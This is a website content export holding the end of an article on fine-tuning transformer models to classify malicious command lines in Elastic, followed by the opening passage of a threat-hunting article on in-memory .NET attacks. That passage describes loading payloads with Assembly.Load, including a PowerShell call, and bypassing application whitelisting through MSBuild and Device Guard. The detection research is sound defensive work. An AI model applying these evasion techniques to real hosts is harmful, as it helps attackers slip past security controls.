the experiments we did around using the fine-tuned model for real-time inference.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"nlp-for-command-line-classification\",children:\"NLP for command line classification\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Before you start building NLP models, it is important to understand whether an \",(0,t.jsx)(e.a,{href:\"https://www.ibm.com/cloud/learn/natural-language-processing\",rel:\"nofollow\",children:\"NLP\"}),\" model is even suitable for the task at hand. In our case, we wanted to classify command lines as being malicious or benign. Command lines are a set of commands provided by a user via the computer terminal. An example command line is as follows:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`**move test.txt C:\\\\**\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The above command moves the file \",(0,t.jsx)(e.strong,{children:\"test.txt\"}),\" to the root of the **C:** directory.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Arguments in command lines are related in the way that the co-occurrence of certain values can be indicative of malicious activity. NLP models are worth exploring here since these models are designed to understand and interpret relationships in natural (human) language, and since command lines often use some natural language.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"fine-tuning-a-hugging-face-model\",children:\"Fine-tuning a Hugging Face model\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Hugging Face is a data science platform that provides tools for machine learning (ML) enthusiasts to build, train, and deploy ML models using open source code and technologies. Its model hub has a wealth of models, trained for a variety of NLP tasks. You can either use these pre-trained models as-is to make predictions on your data, or fine-tune the models on datasets specific to your \",(0,t.jsx)(e.a,{href:\"https://www.ibm.com/cloud/learn/natural-language-processing\",rel:\"nofollow\",children:\"NLP\"}),\" tasks.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first step in fine-tuning is to instantiate a model with the model configuration and pre-trained weights of a specific model. Random weights are assigned to any task-specific layers that might not be present in the base model. Once initialized, the model can be trained to learn the weights of the task-specific layers, thus fine-tuning it for your task. Hugging Face has a method called \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/docs/transformers/v4.21.1/en/main_classes/model#transformers.PreTrainedModel.from_pretrained\",rel:\"nofollow\",children:\"from_pretrained\"}),\" that allows you to instantiate a model from a pre-trained model configuration.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For our command line classification model, we created a \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/docs/transformers/model_doc/roberta\",rel:\"nofollow\",children:\"RoBERTa\"}),\" model instance with encoder weights copied from the \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/roberta-base\",rel:\"nofollow\",children:\"roberta-base\"}),\" model, and a randomly initialized sequence classification head on top of the encoder:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:\"model = RobertaForSequenceClassification.from_pretrained('roberta-base', num_labels=2)\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Hugging Face comes equipped with a \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/docs/transformers/v4.21.0/en/main_classes/tokenizer\",rel:\"nofollow\",children:\"Tokenizers\"}),\" library consisting of some of today's most used tokenizers. For our model, we used the \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/docs/transformers/model_doc/roberta#transformers.RobertaTokenizer\",rel:\"nofollow\",children:\"RobertaTokenizer\"}),\" which uses \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Byte_pair_encoding\",rel:\"nofollow\",children:\"Byte Pair Encoding\"}),\" (BPE) to create tokens. This tokenization scheme is well-suited for data belonging to a different domain (command lines) from that of the tokenization corpus (English text). A code snippet of how we tokenized our dataset using \",(0,t.jsx)(e.strong,{children:\"RobertaTokenizer\"}),\" can be found \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-tokenize-py\",rel:\"nofollow\",children:\"here\"}),\". We then used Hugging Face's \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/docs/transformers/v4.21.0/en/main_classes/trainer#transformers.Trainer\",rel:\"nofollow\",children:\"Trainer\"}),\" API to train the model, a code snippet of which can be found \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-train-py\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"ML models do not understand raw text. Before using text data as inputs to a model, it needs to be converted into numbers. Tokenizers group large pieces of text into smaller semantically useful units, such as (but not limited to) words, characters, or subwords \\u2014 called token \\u2014, which can, in turn, be converted into numbers using different encoding techniques.\"}),`\n`,(0,t.jsxs)(e.blockquote,{children:[`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"Check out \",(0,t.jsx)(e.a,{href:\"https://youtu.be/_BZearw7f0w\",rel:\"nofollow\",children:\"this\"}),\" video (2:57 onwards) to review additional pre-processing steps that might be needed after tokenization based on your dataset.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"A complete tutorial on how to fine-tune pre-trained Hugging Face models can be found \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/docs/transformers/training\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"importing-custom-models-into-elastic\",children:\"Importing custom models into Elastic\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once you have a trained model that you are happy with, it's time to import it into Elastic. This is done using \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/client/eland/current/machine-learning.html\",rel:\"nofollow\",children:\"Eland\"}),\", a Python client and toolkit for machine learning in Elasticsearch. A code snippet of how we imported our model into Elastic using Eland can be found \",(0,t.jsx)(e.a,{href:\"https://gist.github.com/ajosh0504/4560af91adb48212402300677cb65d4a#file-import-py\",rel:\"nofollow\",children:\"here\"}),\".\",(0,t.jsx)(e.br,{}),`\n`,\"You can verify that the model has been imported successfully by navigating to \",(0,t.jsx)(e.strong,{children:\"Model Management \\\\\u003e Trained Models\"}),\" via the Machine Learning UI in Kibana:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/getting-the-most-out-of-transforms-in-elastic/Imported_model_in_the_Trained_Models_UI.png\",alt:\"Imported model in the Trained Models UI\",width:\"1440\",height:\"73\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"using-the-transformer-model-for-inference--a-series-of-experiments\",children:\"Using the Transformer model for inference \\u2014 a series of experiments\"}),`\n`,(0,t.jsx)(e.p,{children:\"We ran a series of experiments to evaluate whether or not our Transformer model could be used for real-time inference. For the experiments, we used a dataset consisting of ~66k command lines.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Our first inference run with our fine-tuned \",(0,t.jsx)(e.strong,{children:\"RoBERTa\"}),\" model took ~4 hours on the test dataset. At the outset, this is much slower than the tree-based model that we were trying to beat at ~3 minutes for the entire dataset. It was clear that we needed to improve the throughput and latency of the PyTorch model to make it suitable for real-time inference, so we performed several experiments:\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"using-multiple-nodes-and-threads\",children:\"Using multiple nodes and threads\"}),`\n`,(0,t.jsx)(e.p,{children:\"The latency numbers above were observed when the models were running on a single thread on a single node. If you have multiple Machine Learning (ML) nodes associated with your Elastic deployment, you can run inference on multiple nodes, and also on multiple threads on each node. This can significantly improve the throughput and latency of your models.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"You can change these parameters while starting the trained model deployment via the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/master/start-trained-model-deployment.html\",rel:\"nofollow\",children:\"API\"}),\":\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`**POST \\\\_ml/trained\\\\_models/\\\\\\\\\u003cmodel\\\\_id\\\\\\\\\u003e/deployment/\\\\_start?number\\\\_of\\\\_allocations=2\u0026threa ds\\\\_per\\\\_allocation=4**\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"number_of_allocations\"}),\" allows you to set the total number of allocations of a model across machine learning nodes and can be used to tune model throughput. \",(0,t.jsx)(e.strong,{children:\"threads_per_allocation\"}),\" allows you to set the number of threads used by each model allocation during inference and can be used to tune model latency. Refer to the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/master/start-trained-model-deployment.html\",rel:\"nofollow\",children:\"API documentation\"}),\" for best practices around setting these parameters.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In our case, we set the \",(0,t.jsx)(e.strong,{children:\"number_of_allocations\"}),\" to \",(0,t.jsx)(e.strong,{children:\"2\"}),\" , as our cluster had two ML nodes and \",(0,t.jsx)(e.strong,{children:\"threads_per_allocation\"}),\" to \",(0,t.jsx)(e.strong,{children:\"4\"}),\" , as each node had four allocated processors.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Running inference using these settings \",(0,t.jsx)(e.strong,{children:\"resulted in a 2.7x speedup\"}),\" on the original inference time.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"dynamic-quantization\",children:\"Dynamic quantization\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Quantizing is one of the most effective ways of improving model compute cost, while also reducing model size. The idea here is to use a reduced precision integer representation for the weights and/or activations. While there are a number of ways to trade off model accuracy for increased throughput during model development, \",(0,t.jsx)(e.a,{href:\"https://pytorch.org/tutorials/intermediate/dynamic_quantization_bert_tutorial.html\",rel:\"nofollow\",children:\"dynamic quantization\"}),\" helps achieve a similar trade-off after the fact, thus saving on time and resources spent on iterating over the model training.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Eland provides a way to dynamically quantize your model before importing it into Elastic. To do this, simply pass in quantize=True as an argument while creating the TransformerModel object (refer to the code snippet for importing models) as follows:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`**# Load the custom model**\n**tm = TransformerModel(\"model\", \"text\\\\_classification\", quantize=True)**\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the case of our command line classification model, we observed the model size drop from 499 MB to 242 MB upon dynamic quantization. Running inference on our test dataset using this model \",(0,t.jsx)(e.strong,{children:\"resulted in a 1.6x speedup\"}),\" on the original inference time, for a slight drop in model \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Sensitivity_and_specificity\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"sensitivity\"})}),\" (exact numbers in the following section) \",(0,t.jsx)(e.strong,{children:\".\"})]}),`\n`,(0,t.jsx)(e.h3,{id:\"knowledge-distillation\",children:\"Knowledge Distillation\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://towardsdatascience.com/knowledge-distillation-simplified-dd4973dbc764\",rel:\"nofollow\",children:\"Knowledge Distillation\"}),\" is a way to achieve model compression by transferring knowledge from a large (teacher) model to a smaller (student) one while maintaining validity. At a high level, this is done by using the outputs from the teacher model at every layer, to backpropagate error through the student model. This way, the student model learns to replicate the behavior of the teacher model. Model compression is achieved by reducing the number of parameters, which is directly related to the latency of the model.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"To study the effect of knowledge distillation on the performance of our model, we fine-tuned a \",(0,t.jsx)(e.a,{href:\"https://huggingface.co/distilroberta-base\",rel:\"nofollow\",children:\"distilroberta-base\"}),\" model (following the same procedure described in the fine-tuning section) for our command line classification task and imported it into Elastic. \",(0,t.jsx)(e.strong,{children:\"distilroberta-base\"}),\" has 82 million parameters, compared to its teacher model, \",(0,t.jsx)(e.strong,{children:\"roberta-base\"}),\" , which has 125 million parameters. The model size of the fine-tuned \",(0,t.jsx)(e.strong,{children:\"DistilRoBERTa\"}),\" model turned out to be \",(0,t.jsx)(e.strong,{children:\"329\"}),\" MB, down from \",(0,t.jsx)(e.strong,{children:\"499\"}),\" MB for the \",(0,t.jsx)(e.strong,{children:\"RoBERTa\"}),\" model.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon running inference with this model, we \",(0,t.jsx)(e.strong,{children:\"observed a 1.5x speedup\"}),\" on the original inference time and slightly better model sensitivity (exact numbers in the following section) than the fine-tuned roberta-base model.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"dynamic-quantization-and-knowledge-distillation\",children:\"Dynamic quantization and knowledge distillation\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We observed that dynamic quantization and model distillation both resulted in significant speedups on the original inference time. So, our final experiment involved running inference with a quantized version of the fine-tuned \",(0,t.jsx)(e.strong,{children:\"DistilRoBERTa\"}),\" model.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We found that this \",(0,t.jsx)(e.strong,{children:\"resulted in a 2.6x speedup\"}),\" on the original inference time, and slightly better model sensitivity (exact numbers in the following section). We also observed the model size drop from \",(0,t.jsx)(e.strong,{children:\"329\"}),\" MB to \",(0,t.jsx)(e.strong,{children:\"199\"}),\" MB after quantization.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"bringing-it-all-together\",children:\"Bringing it all together\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Based on our experiments, dynamic quantization and model distillation resulted in significant inference speedups. Combining these improvements with distributed and parallel computing, we were further able to \",(0,t.jsx)(e.strong,{children:\"reduce the total inference time on our test set from four hours to 35 minutes\"}),\". However, even our fastest transformer model was still several magnitudes slower than the tree-based model, despite using significantly more CPU resources.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The Machine Learning team here at Elastic is introducing an inference caching mechanism in version 8.4 of the Elastic Stack, to save time spent on performing inference on repeat samples. These are a common occurrence in real-world environments, especially when it comes to Security. With this optimization in place, we are optimistic that we will be able to use transformer models alongside tree-based models in the future.\"}),`\n`,(0,t.jsx)(e.p,{children:\"A comparison of the sensitivity (true positive rate) and specificity (true negative rate) of our tree-based and transformer models shows that an ensemble of the two could potentially result in a more performant model:\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{}),(0,t.jsx)(e.th,{})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Model\"}),(0,t.jsx)(e.td,{children:\"Sensitivity (%)\"}),(0,t.jsx)(e.td,{children:\"False Negative Rate (%)\"}),(0,t.jsx)(e.td,{children:\"Specificity (%)\"}),(0,t.jsx)(e.td,{children:\"False Positive Rate (%)\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"Tree-based\"}),(0,t.jsx)(e.td,{children:\"99.53\"}),(0,t.jsx)(e.td,{children:\"0.47\"}),(0,t.jsx)(e.td,{children:\"99.99\"}),(0,t.jsx)(e.td,{children:\"0.01\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RoBERTa\"}),(0,t.jsx)(e.td,{children:\"99.57\"}),(0,t.jsx)(e.td,{children:\"0.43\"}),(0,t.jsx)(e.td,{children:\"97.76\"}),(0,t.jsx)(e.td,{children:\"2.24\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RoBERTa quantized\"}),(0,t.jsx)(e.td,{children:\"99.56\"}),(0,t.jsx)(e.td,{children:\"0.44\"}),(0,t.jsx)(e.td,{children:\"97.64\"}),(0,t.jsx)(e.td,{children:\"2.36\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"DistilRoBERTa\"}),(0,t.jsx)(e.td,{children:\"99.68\"}),(0,t.jsx)(e.td,{children:\"0.32\"}),(0,t.jsx)(e.td,{children:\"98.66\"}),(0,t.jsx)(e.td,{children:\"1.34\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"DistilRoBERTa quantized\"}),(0,t.jsx)(e.td,{children:\"99.69\"}),(0,t.jsx)(e.td,{children:\"0.31\"}),(0,t.jsx)(e.td,{children:\"98.71\"}),(0,t.jsx)(e.td,{children:\"1.29\"})]})]})]})}),`\n`,(0,t.jsx)(e.p,{children:\"As seen above, the tree-based model is better suited for classifying benign data while the transformer model does better on malicious samples, so a weighted average or voting ensemble could work well to reduce the total error by averaging the predictions from both the models.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"whats-next\",children:\"What's next\"}),`\n`,(0,t.jsx)(e.p,{children:\"We plan to cover our findings from inference caching and model ensembling in a follow-up blog. Stay tuned!\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the meanwhile, we\\u2019d love to hear about models you're building for inference in Elastic. If you'd like to share what you're doing or run into any issues during the process, please reach out to us on our \",(0,t.jsx)(e.a,{href:\"https://ela.st/slack\",rel:\"nofollow\",children:\"community Slack channel\"}),\"and \",(0,t.jsx)(e.a,{href:\"https://discuss.elastic.co/c/security\",rel:\"nofollow\",children:\"discussion forums\"}),\". Happy experimenting!\"]})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(c,n)})):c(n)}var _=k;return y(T);})();\n;return Component;"},"_id":"articles/getting-the-most-out-of-transforms-in-elastic.mdx","_raw":{"sourceFilePath":"articles/getting-the-most-out-of-transforms-in-elastic.mdx","sourceFileName":"getting-the-most-out-of-transforms-in-elastic.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/getting-the-most-out-of-transforms-in-elastic"},"type":"Article","imageUrl":"/assets/images/getting-the-most-out-of-transforms-in-elastic/machine-learning-1200x628px-2021-notext.jpg","readingTime":"13 min read","series":"","url":"/getting-the-most-out-of-transforms-in-elastic","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"NLP for command line classification","href":"#nlp-for-command-line-classification"},{"level":2,"title":"Fine-tuning a Hugging Face model","href":"#fine-tuning-a-hugging-face-model"},{"level":2,"title":"Importing custom models into Elastic","href":"#importing-custom-models-into-elastic"},{"level":2,"title":"Using the Transformer model for inference — a series of experiments","href":"#using-the-transformer-model-for-inference--a-series-of-experiments"},{"level":3,"title":"Using multiple nodes and threads","href":"#using-multiple-nodes-and-threads"},{"level":3,"title":"Dynamic quantization","href":"#dynamic-quantization"},{"level":3,"title":"Knowledge Distillation","href":"#knowledge-distillation"},{"level":3,"title":"Dynamic quantization and knowledge distillation","href":"#dynamic-quantization-and-knowledge-distillation"},{"level":2,"title":"Bringing it all together","href":"#bringing-it-all-together"},{"level":2,"title":"What's next","href":"#whats-next"}],"author":[{"title":"Apoorva Joshi","slug":"apoorva-joshi","description":"Principal Data Scientist, Security, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var p=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var _=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),d=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,i)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of l(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(i=x(n,o))||i.enumerable});return t};var g=(t,n,e)=\u003e(e=t!=null?p(f(t)):{},s(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),h=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=_((F,c)=\u003e{c.exports=_jsx_runtime});var y={};d(y,{default:()=\u003ev,frontmatter:()=\u003eD});var r=g(u()),D={title:\"Apoorva Joshi\",description:\"Principal Data Scientist, Security, Elastic\",slug:\"apoorva-joshi\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var v=M;return h(y);})();\n;return Component;"},"_id":"authors/apoorva-joshi.mdx","_raw":{"sourceFilePath":"authors/apoorva-joshi.mdx","sourceFileName":"apoorva-joshi.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/apoorva-joshi"},"type":"Author","imageUrl":"","url":"/authors/apoorva-joshi"},{"title":"Thomas Veasey","slug":"thomas-veasey","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},m=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var h=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},m(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003em(a({},\"__esModule\",{value:!0}),t);var u=l((X,c)=\u003e{c.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=h(u()),y={title:\"Thomas Veasey\",slug:\"thomas-veasey\"};function i(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(i,t)})):i(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"authors/thomas-veasey.mdx","_raw":{"sourceFilePath":"authors/thomas-veasey.mdx","sourceFileName":"thomas-veasey.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/thomas-veasey"},"type":"Author","imageUrl":"","url":"/authors/thomas-veasey"},{"title":"Benjamin Trent","slug":"benjamin-trent","description":"Principal Software Engineer II, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var i=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var p=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),_=(t,n)=\u003e{for(var e in n)i(t,e,{get:n[e],enumerable:!0})},s=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of j(n))!g.call(t,a)\u0026\u0026a!==e\u0026\u0026i(t,a,{get:()=\u003en[a],enumerable:!(o=f(n,a))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(l(t)):{},s(n||!t||!t.__esModule?i(e,\"default\",{value:t,enumerable:!0}):e,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var m=p((F,c)=\u003e{c.exports=_jsx_runtime});var D={};_(D,{default:()=\u003eC,frontmatter:()=\u003eb});var r=d(m()),b={title:\"Benjamin Trent\",description:\"Principal Software Engineer II, Elastic\",slug:\"benjamin-trent\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function w(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var C=w;return M(D);})();\n;return Component;"},"_id":"authors/benjamin-trent.mdx","_raw":{"sourceFilePath":"authors/benjamin-trent.mdx","sourceFileName":"benjamin-trent.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/benjamin-trent"},"type":"Author","imageUrl":"","url":"/authors/benjamin-trent"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Hunting For In-Memory .NET Attacks","slug":"hunting-memory-net-attacks","date":"2022-06-21","description":"As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection","image":"photo-edited-04@2x.jpg","body":{"raw":"\n\n\nIn past blog posts, we shared our [approach](https://www.endgame.com/blog/technical-blog/hunting-memory) to hunting for traditional in-memory attacks along with in-depth [analysis](https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process) of many injection techniques. As a follow up to my DerbyCon [presentation](https://www.endgame.com/resource/video/derbycon-talk-hunting-memory-resident-malware), this post will investigate an emerging [trend](https://securelist.com/the-rise-of-net-and-powershell-malware/72417/) of adversaries using .NET-based in-memory techniques to evade detection. I’ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks.\n\n## The .NET Allure\n\nUsing .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the [.NET framework](https://en.wikipedia.org/wiki/.NET_Framework) comes [pre-installed](https://blogs.msdn.microsoft.com/astebner/2007/03/14/mailbag-what-version-of-the-net-framework-is-included-in-what-version-of-the-os/) in all Windows versions. This is important as it enables the attackers’ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly [complicated](http://www.ntcore.com/files/dotnetformat.htm). Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don’t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the [Assembly.Load(byte[])](\u003chttps://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(v=vs.110).aspx\u003e) function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like [Device Guard](https://docs.microsoft.com/en-us/windows/device-security/device-guard/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies). This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports.\n\n## .NET Attacker Techniques\n\nAdversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months, there has been a noticeable uptick in tradecraft, which I’ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was [observed](https://www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/) using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the [OilRig](https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/) APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as [ISMAgent](https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/).\n\nA third example, more familiar to red teams, is [ReflectivePick](https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/ReflectivePick/ReflectivePick.cpp) by [Justin Warner](https://twitter.com/sixdub) and [Lee Christensen](https://twitter.com/tifkin_). ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool.\n\n\n\nIt is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, [Matt Graeber](https://twitter.com/mattifestation) discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient “forever-day exploit” against hosts that are hardened with application whitelisting.\n\n[Casey Smith](https://twitter.com/subTee) also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker-supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed.\n\nFinally, [James 